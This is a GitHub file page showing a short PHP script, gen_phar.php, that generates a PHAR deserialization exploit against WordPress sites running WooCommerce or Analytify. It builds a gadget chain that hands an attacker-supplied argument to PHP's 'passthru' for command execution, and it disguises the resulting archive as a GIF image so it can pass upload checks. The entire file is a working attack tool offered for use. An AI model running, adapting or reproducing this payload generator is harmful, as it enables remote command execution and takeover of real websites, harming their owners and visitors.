-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathgen_phar.php
46 lines (36 loc) · 1.07 KB
/
gen_phar.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
$command = $argv[1];
class ANALYTIFY_Log_Handler_File {
protected $handles;
public function __construct() {
global $command;
$this->handles = new Requests_Utility_FilteredIterator(array($command), 'passthru');
}
}
class Requests_Utility_FilteredIterator extends ArrayIterator{
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class WC_Log_Handler_File {
protected $handles;
public function __construct() {
global $command;
$this->handles = new Requests_Utility_FilteredIterator(array($command), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
// disguise as image
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
// use this if Woocommerce is installed
$o = new WC_Log_Handler_File();
// use this if Analytify is installed
//$o = new ANALYTIFY_Log_Handler_File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>